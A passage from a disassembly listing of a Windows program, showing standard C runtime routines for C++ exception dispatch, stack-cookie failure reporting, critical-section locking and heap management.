arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_10]
		mov	eax, [ebx+4]
		cmp	eax, 80h
		push	esi
		push	edi
		mov	[ebp+var_1], 0
		jg	short loc_416619
		movsx	ecx, byte ptr [ecx+8]
		jmp	short loc_41661C
; ---------------------------------------------------------------------------


loc_416619:				; CODE XREF: sub_4165F6+1Bj
		mov	ecx, [ecx+8]


loc_41661C:				; CODE XREF: sub_4165F6+21j
		cmp	ecx, 0FFFFFFFFh
		mov	[ebp+var_8], ecx
		jl	short loc_416628
		cmp	ecx, eax
		jl	short loc_41662D


loc_416628:				; CODE XREF: sub_4165F6+2Cj
		call	sub_416A94


loc_41662D:				; CODE XREF: sub_4165F6+30j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h
		cmp	[esi], edi
		jnz	loc_416908
		cmp	dword ptr [esi+10h], 3
		mov	ebx, 19930520h
		jnz	loc_416775
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_416665
		cmp	eax, 19930521h
		jz	short loc_416665
		cmp	eax, 19930522h
		jnz	loc_416775


loc_416665:				; CODE XREF: sub_4165F6+5Bj
					; sub_4165F6+62j
		cmp	dword ptr [esi+1Ch], 0
		jnz	loc_416775
		call	sub_411FFD
		cmp	dword ptr [eax+88h], 0
		jz	loc_416947
		call	sub_411FFD
		mov	esi, [eax+88h]
		mov	[ebp+arg_0], esi
		call	sub_411FFD
		mov	eax, [eax+8Ch]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		call	sub_41A258
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4166B0
		call	sub_416A94


loc_4166B0:				; CODE XREF: sub_4165F6+B3j
		cmp	[esi], edi
		jnz	short loc_4166DA
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4166DA
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_4166CF
		cmp	eax, 19930521h
		jz	short loc_4166CF
		cmp	eax, 19930522h
		jnz	short loc_4166DA


loc_4166CF:				; CODE XREF: sub_4165F6+C9j
					; sub_4165F6+D0j
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4166DA
		call	sub_416A94


loc_4166DA:				; CODE XREF: sub_4165F6+BCj
					; sub_4165F6+C2j ...
		call	sub_411FFD
		cmp	dword ptr [eax+94h], 0
		jz	loc_416775
		call	sub_411FFD
		mov	edi, [eax+94h]
		call	sub_411FFD
		push	[ebp+arg_0]
		xor	esi, esi
		mov	[eax+94h], esi
		call	sub_41602A
		test	al, al
		pop	ecx
		jnz	short loc_41676D
		xor	ebx, ebx
		cmp	[edi], ebx
		jle	short loc_416734


loc_416717:				; CODE XREF: sub_4165F6+13Cj
		mov	eax, [edi+4]
		mov	ecx, [ebx+eax+4]
		push	offset off_423C9C
		call	sub_40DE34
		test	al, al
		jnz	short loc_416739
		inc	esi
		add	ebx, 10h
		cmp	esi, [edi]
		jl	short loc_416717


loc_416734:				; CODE XREF: sub_4165F6+11Fj
					; sub_4165F6+31Cj
		jmp	sub_416A48
; ---------------------------------------------------------------------------


loc_416739:				; CODE XREF: sub_4165F6+134j
		push	1
		push	[ebp+arg_0]
		call	sub_415FB1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_2C]
		mov	[ebp+arg_0], offset dword_41CE0C
		call	sub_40D873
		push	offset dword_41FC5C
		lea	eax, [ebp+var_2C]
		push	eax
		mov	[ebp+var_2C], offset off_41CE04
		call	sub_4107BC


loc_41676D:				; CODE XREF: sub_4165F6+119j
		mov	esi, [ebp+arg_0]
		mov	edi, 0E06D7363h


loc_416775:				; CODE XREF: sub_4165F6+50j
					; sub_4165F6+69j ...
		cmp	[esi], edi
		jnz	loc_416905
		cmp	dword ptr [esi+10h], 3
		jnz	loc_416905
		mov	eax, [esi+14h]
		cmp	eax, ebx
		jz	short loc_4167A0
		cmp	eax, 19930521h
		jz	short loc_4167A0
		cmp	eax, 19930522h
		jnz	loc_416905


loc_4167A0:				; CODE XREF: sub_4165F6+196j
					; sub_4165F6+19Dj
		mov	edi, [ebp+arg_10]
		cmp	dword ptr [edi+0Ch], 0
		jbe	loc_41686C
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_8]
		push	[ebp+arg_18]
		push	edi
		call	sub_410A67
		add	esp, 14h
		mov	edi, eax


loc_4167C6:				; CODE XREF: sub_4165F6+26Ej
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jnb	loc_416869
		mov	eax, [ebp+var_8]
		cmp	[edi], eax
		jg	loc_41685E
		cmp	eax, [edi+4]
		jg	short loc_41685E
		mov	eax, [edi+10h]
		mov	[ebp+var_C], eax
		mov	eax, [edi+0Ch]
		test	eax, eax
		mov	[ebp+var_18], eax
		jle	short loc_41685E


loc_4167F2:				; CODE XREF: sub_4165F6+23Cj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	ebx, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_14], eax
		jle	short loc_416827


loc_416804:				; CODE XREF: sub_4165F6+22Fj
		push	dword ptr [esi+1Ch]
		mov	eax, [ebx]
		push	eax
		push	[ebp+var_C]
		mov	[ebp+var_20], eax
		call	sub_415DEB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416836
		dec	[ebp+var_14]
		add	ebx, 4
		cmp	[ebp+var_14], eax
		jg	short loc_416804


loc_416827:				; CODE XREF: sub_4165F6+20Cj
		dec	[ebp+var_18]
		add	[ebp+var_C], 10h
		cmp	[ebp+var_18], 0
		jg	short loc_4167F2
		jmp	short loc_41685E
; ---------------------------------------------------------------------------


loc_416836:				; CODE XREF: sub_4165F6+224j
		push	[ebp+arg_1C]
		mov	ebx, [ebp+var_C]
		push	[ebp+arg_18]
		mov	[ebp+var_1], 1
		push	[ebp+var_20]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		call	sub_416498
		mov	esi, [ebp+arg_0]
		add	esp, 1Ch


loc_41685E:				; CODE XREF: sub_4165F6+1E1j
					; sub_4165F6+1EAj ...
		inc	[ebp+var_10]
		add	edi, 14h
		jmp	loc_4167C6
; ---------------------------------------------------------------------------


loc_416869:				; CODE XREF: sub_4165F6+1D6j
		mov	edi, [ebp+arg_10]


loc_41686C:				; CODE XREF: sub_4165F6+1B1j
		cmp	[ebp+arg_14], 0
		jz	short loc_41687C
		push	1
		push	esi
		call	sub_415FB1
		pop	ecx
		pop	ecx


loc_41687C:				; CODE XREF: sub_4165F6+27Aj
		cmp	[ebp+var_1], 0
		jnz	loc_416934
		mov	eax, [edi]
		and	eax, 1FFFFFFFh
		cmp	eax, 19930521h
		jb	loc_416934
		mov	edi, [edi+1Ch]
		test	edi, edi
		jz	loc_416934
		push	esi
		call	sub_41602A
		test	al, al
		pop	ecx
		jnz	loc_416934
		call	sub_411FFD
		call	sub_411FFD
		call	sub_411FFD
		mov	[eax+88h], esi
		call	sub_411FFD
		cmp	[ebp+arg_1C], 0
		mov	ecx, [ebp+arg_8]
		mov	[eax+8Ch], ecx
		push	esi
		jnz	short loc_4168E1
		push	[ebp+arg_4]
		jmp	short loc_4168E4
; ---------------------------------------------------------------------------


loc_4168E1:				; CODE XREF: sub_4165F6+2E4j
		push	[ebp+arg_1C]


loc_4168E4:				; CODE XREF: sub_4165F6+2E9j
		call	sub_41083D
		mov	esi, [ebp+arg_10]
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_415E8B
		add	esp, 10h
		push	dword ptr [esi+1Ch]
		call	sub_4160A3


loc_416905:				; CODE XREF: sub_4165F6+181j
					; sub_4165F6+18Bj ...
		mov	ebx, [ebp+arg_10]


loc_416908:				; CODE XREF: sub_4165F6+41j
		cmp	dword ptr [ebx+0Ch], 0
		jbe	short loc_416934
		cmp	[ebp+arg_14], 0
		jnz	loc_416734
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_8]
		push	ebx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_416504
		add	esp, 20h


loc_416934:				; CODE XREF: sub_4165F6+28Aj
					; sub_4165F6+29Cj ...
		call	sub_411FFD
		cmp	dword ptr [eax+94h], 0
		jz	short loc_416947
		call	sub_416A94


loc_416947:				; CODE XREF: sub_4165F6+85j
					; sub_4165F6+34Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165F6	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_40D8D9
		mov	dword ptr [esi], offset	off_41CE04
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416964	proc near		; CODE XREF: sub_41088F+21p
					; .vty:004108EBp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_411FFD
		cmp	dword ptr [eax+20Ch], 0
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edi, 0E06D7363h
		mov	esi, 1FFFFFFFh
		mov	ebx, 19930522h
		jnz	short loc_4169AD
		mov	edx, [ecx]
		cmp	edx, edi
		jz	short loc_4169AD
		cmp	edx, 80000026h
		jz	short loc_4169AD
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, ebx
		jb	short loc_4169AD
		test	byte ptr [eax+20h], 1
		jnz	loc_416A40


loc_4169AD:				; CODE XREF: sub_416964+27j
					; sub_416964+2Dj ...
		test	byte ptr [ecx+4], 66h
		jz	short loc_4169D6
		cmp	dword ptr [eax+4], 0
		jz	loc_416A40
		cmp	[ebp+arg_14], 0
		jnz	short loc_416A40
		push	0FFFFFFFFh
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_415E8B
		add	esp, 10h
		jmp	short loc_416A40
; ---------------------------------------------------------------------------


loc_4169D6:				; CODE XREF: sub_416964+4Dj
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4169EE
		mov	edx, [eax]
		and	edx, esi
		cmp	edx, 19930521h
		jb	short loc_416A40
		cmp	dword ptr [eax+1Ch], 0
		jz	short loc_416A40


loc_4169EE:				; CODE XREF: sub_416964+76j
		cmp	[ecx], edi
		jnz	short loc_416A24
		cmp	dword ptr [ecx+10h], 3
		jb	short loc_416A24
		cmp	[ecx+14h], ebx
		jbe	short loc_416A24
		mov	edx, [ecx+1Ch]
		mov	edx, [edx+8]
		test	edx, edx
		jz	short loc_416A24
		movzx	esi, byte ptr [ebp+arg_1C]
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	edx
		add	esp, 20h
		jmp	short loc_416A43
; ---------------------------------------------------------------------------


loc_416A24:				; CODE XREF: sub_416964+8Cj
					; sub_416964+92j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	sub_4165F6
		add	esp, 20h


loc_416A40:				; CODE XREF: sub_416964+43j
					; sub_416964+53j ...
		xor	eax, eax
		inc	eax


loc_416A43:				; CODE XREF: sub_416964+BEj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416964	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A48	proc near		; CODE XREF: sub_415D0D:loc_415D41p
					; sub_415E47+22j ...

ms_exc		= CPPEH_RECORD ptr -18h

; FUNCTION CHUNK AT 00416A6F SIZE 00000012 BYTES

		push	8
		push	offset dword_41FC98
		call	__SEH_prolog4
		call	sub_411FFD
		mov	eax, [eax+78h]
		test	eax, eax
		jz	short loc_416A76
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_416A6F
sub_416A48	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_416A48


loc_416A6F:				; CODE XREF: sub_416A48+1Ej
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_416A76:				; CODE XREF: sub_416A48+16j
		call	sub_41411B
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_416A48

; =============== S U B	R O U T	I N E =======================================



sub_416A81	proc near		; CODE XREF: sub_4160A3+23p
		call	sub_411FFD
		mov	eax, [eax+7Ch]
		test	eax, eax
		jz	short loc_416A8F
		call	eax


loc_416A8F:				; CODE XREF: sub_416A81+Aj
		jmp	sub_416A48
sub_416A81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A94	proc near		; CODE XREF: sub_410A67+1Cp
					; sub_410A67:loc_410AC8p ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset dword_41FCB8
		call	__SEH_prolog4
		push	dword_424888
		call	sub_411DBF
		pop	ecx
		test	eax, eax
		jz	short loc_416AC6
		and	[ebp+ms_exc.disabled], 0
		call	eax
		jmp	short loc_416ABF
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]


loc_416ABF:				; CODE XREF: sub_416A94+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_416AC6:				; CODE XREF: sub_416A94+1Aj
		jmp	sub_416A48
sub_416A94	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ACB	proc near		; CODE XREF: sub_412755+33p
		push	offset sub_416A48
		call	sub_411D53
		pop	ecx
		mov	dword_424888, eax
		retn
sub_416ACB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AE0	proc near		; CODE XREF: sub_410B6F+4Ap
					; sub_415E8B+77p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41990C
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_416B1F
		mov	ecx, 2


loc_416B1F:				; CODE XREF: sub_416AE0+38j
		push	ecx
		call	sub_41990C
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_416AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B2C	proc near		; CODE XREF: sub_410BCD:loc_410BD7j

var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 328h
		mov	dword_424998, eax
		mov	dword_424994, ecx
		mov	dword_424990, edx
		mov	dword_42498C, ebx
		mov	dword_424988, esi
		mov	dword_424984, edi
		mov	word_4249B0, ss
		mov	word_4249A4, cs
		mov	word_424980, ds
		mov	word_42497C, es
		mov	word_424978, fs
		mov	word_424974, gs
		pushf
		pop	dword_4249A8
		mov	eax, [ebp+0]
		mov	dword_42499C, eax
		mov	eax, [ebp+4]
		mov	dword_4249A0, eax
		lea	eax, [ebp+arg_0]
		mov	dword_4249AC, eax
		mov	eax, [ebp+var_320]
		mov	dword_4248E8, 10001h
		mov	eax, dword_4249A0
		mov	dword_42489C, eax
		mov	dword_424890, 0C0000409h
		mov	dword_424894, 1
		mov	eax, dword_4231C4
		mov	[ebp+var_328], eax
		mov	eax, dword_4231C8
		mov	[ebp+var_324], eax
		call	dword_41C114	; IsDebuggerPresent
		mov	dword_4248E0, eax
		push	1
		call	sub_412996
		pop	ecx
		push	0
		call	dword_41C110	; SetUnhandledExceptionFilter
		push	offset off_41CE1C
		call	dword_41C10C	; UnhandledExceptionFilter
		cmp	dword_4248E0, 0
		jnz	short loc_416C1C
		push	1
		call	sub_412996
		pop	ecx


loc_416C1C:				; CODE XREF: sub_416B2C+E6j
		push	0C0000409h
		call	dword_41C108	; GetCurrentProcess
		push	eax
		call	dword_41C104	; TerminateProcess
		leave
		retn
sub_416B2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: sub_41219F+10Cp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset dword_424BB8


loc_416C39:				; CODE XREF: sub_416C30+35j
		cmp	dword_423CC4[esi*8], 1
		jnz	short loc_416C61
		lea	eax, ds:423CC0h[esi*8]
		mov	[eax], edi
		push	0FA0h
		push	dword ptr [eax]
		add	edi, 18h
		call	sub_4182CC
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416C6D


loc_416C61:				; CODE XREF: sub_416C30+11j
		inc	esi
		cmp	esi, 24h
		jl	short loc_416C39
		xor	eax, eax
		inc	eax


loc_416C6A:				; CODE XREF: sub_416C30+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416C6D:				; CODE XREF: sub_416C30+2Fj
		and	off_423CC0[esi*8], 0
		xor	eax, eax
		jmp	short loc_416C6A
sub_416C30	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C79	proc near		; CODE XREF: sub_411E89:loc_411EC1j
		push	ebx
		mov	ebx, dword_41C0CC
		push	esi
		mov	esi, offset off_423CC0
		push	edi


loc_416C87:				; CODE XREF: sub_416C79+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_416CA0
		cmp	dword ptr [esi+4], 1
		jz	short loc_416CA0
		push	edi
		call	ebx	; RtlDeleteCriticalSection
		push	edi
		call	sub_41112C
		and	dword ptr [esi], 0
		pop	ecx


loc_416CA0:				; CODE XREF: sub_416C79+12j
					; sub_416C79+18j
		add	esi, 8
		cmp	esi, offset dword_423DE0
		jl	short loc_416C87
		mov	esi, offset off_423CC0
		pop	edi


loc_416CB1:				; CODE XREF: sub_416C79+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_416CC0
		cmp	dword ptr [esi+4], 1
		jnz	short loc_416CC0
		push	eax
		call	ebx	; RtlDeleteCriticalSection


loc_416CC0:				; CODE XREF: sub_416C79+3Cj
					; sub_416C79+42j
		add	esi, 8
		cmp	esi, offset dword_423DE0
		jl	short loc_416CB1
		pop	esi
		pop	ebx
		retn
sub_416C79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CCE	proc near		; CODE XREF: sub_411060+2p
					; sub_411182+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_423CC0[eax*8]
		call	dword_41C06C	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_416CCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CE3	proc near		; CODE XREF: sub_413E9F+4Fp
					; sub_416DA6+14p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_41FCD8
		call	__SEH_prolog4
		xor	edi, edi
		inc	edi
		mov	[ebp+var_1C], edi
		xor	ebx, ebx
		cmp	dword_42487C, ebx
		jnz	short loc_416D17
		call	sub_4143CC
		push	1Eh
		call	sub_41422C
		push	0FFh
		call	sub_4124E3
		pop	ecx
		pop	ecx


loc_416D17:				; CODE XREF: sub_416CE3+1Aj
		mov	esi, [ebp+arg_0]
		lea	esi, ds:423CC0h[esi*8]
		cmp	[esi], ebx
		jz	short loc_416D29
		mov	eax, edi
		jmp	short loc_416D97
; ---------------------------------------------------------------------------


loc_416D29:				; CODE XREF: sub_416CE3+40j
		push	18h
		call	sub_412323
		pop	ecx
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_416D46
		call	sub_40F79E
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_416D97
; ---------------------------------------------------------------------------


loc_416D46:				; CODE XREF: sub_416CE3+52j
		push	0Ah
		call	sub_416DA6
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi], ebx
		jnz	short loc_416D81
		push	0FA0h
		push	edi
		call	sub_4182CC
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416D7D
		push	edi
		call	sub_41112C
		pop	ecx
		call	sub_40F79E
		mov	dword ptr [eax], 0Ch
		mov	[ebp+var_1C], ebx
		jmp	short loc_416D88
; ---------------------------------------------------------------------------


loc_416D7D:				; CODE XREF: sub_416CE3+81j
		mov	[esi], edi
		jmp	short loc_416D88
; ---------------------------------------------------------------------------


loc_416D81:				; CODE XREF: sub_416CE3+70j
		push	edi
		call	sub_41112C
		pop	ecx


loc_416D88:				; CODE XREF: sub_416CE3+98j
					; sub_416CE3+9Cj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_416D9D
		mov	eax, [ebp+var_1C]


loc_416D97:				; CODE XREF: sub_416CE3+44j
					; sub_416CE3+61j
		call	__SEH_epilog4
		retn
sub_416CE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D9D	proc near		; CODE XREF: sub_416CE3+ACp
					; DATA XREF: .vty:0041FCF0o
		push	0Ah
		call	sub_416CCE
		pop	ecx
		retn
sub_416D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DA6	proc near		; CODE XREF: sub_41101A+1Dp
					; sub_41112C+1Ep ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:423CC0h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_416DCC
		push	eax
		call	sub_416CE3
		test	eax, eax
		pop	ecx
		jnz	short loc_416DCC
		push	11h
		call	sub_412499
		pop	ecx


loc_416DCC:				; CODE XREF: sub_416DA6+11j
					; sub_416DA6+1Cj
		push	dword ptr [esi]
		call	dword_41C070	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_416DA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416DD7	proc near		; CODE XREF: sub_415C1F+37p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_42487C
		call	dword_41C130	; RtlAllocateHeap
		test	eax, eax
		mov	dword_424EB0, eax
		jnz	short loc_416DF4
		retn
; ---------------------------------------------------------------------------


loc_416DF4:				; CODE XREF: sub_416DD7+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_424D08, 0
		and	dword_424EAC, 0
		mov	dword_424EB8, eax
		xor	eax, eax
		mov	dword_424EB4, ecx
		mov	dword_424EBC, 10h
		inc	eax
		retn
sub_416DD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E1F	proc near		; CODE XREF: sub_41112C+29p
					; sub_4123F6+4Ep ...

arg_0		= dword	ptr  4

		mov	ecx, dword_424EAC
		mov	eax, dword_424EB0
		imul	ecx, 14h
		add	ecx, eax
		jmp	short loc_416E43
; ---------------------------------------------------------------------------


loc_416E31:				; CODE XREF: sub_416E1F+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_416E49
		add	eax, 14h


loc_416E43:				; CODE XREF: sub_416E1F+10j
		cmp	eax, ecx
		jb	short loc_416E31
		xor	eax, eax

locret_416E49:				; CODE XREF: sub_416E1F+1Fj
		retn
sub_416E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4A	proc near		; CODE XREF: sub_41112C+38p
					; sub_417E83+B5p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41715A
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_416F15
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_416EAD
		push	3Fh
		pop	edx


loc_416EAD:				; CODE XREF: sub_416E4A+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_416EF7
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_416ED8
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416EF4
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_416EF4
; ---------------------------------------------------------------------------


loc_416ED8:				; CODE XREF: sub_416E4A+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_416EF4
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_416EF4:				; CODE XREF: sub_416E4A+85j
					; sub_416E4A+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_416EF7:				; CODE XREF: sub_416E4A+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_416F15:				; CODE XREF: sub_416E4A+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_416F23
		push	3Fh
		pop	edx


loc_416F23:				; CODE XREF: sub_416E4A+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_416FC1
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_416F48
		mov	ebx, esi


loc_416F48:				; CODE XREF: sub_416E4A+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_416F5A
		mov	edx, esi


loc_416F5A:				; CODE XREF: sub_416E4A+10Cj
		cmp	ebx, edx
		jz	short loc_416FBC
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_416FA4
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_416F8A
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_416FA4
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F8A:				; CODE XREF: sub_416E4A+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_416FA4
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_416FA4:				; CODE XREF: sub_416E4A+11Dj
					; sub_416E4A+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_416FBC:				; CODE XREF: sub_416E4A+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_416FC4
; ---------------------------------------------------------------------------


loc_416FC1:				; CODE XREF: sub_416E4A+E2j
		mov	ebx, [ebp+arg_0]


loc_416FC4:				; CODE XREF: sub_416E4A+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_416FD2
		cmp	ebx, edx
		jz	loc_417052


loc_416FD2:				; CODE XREF: sub_416E4A+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
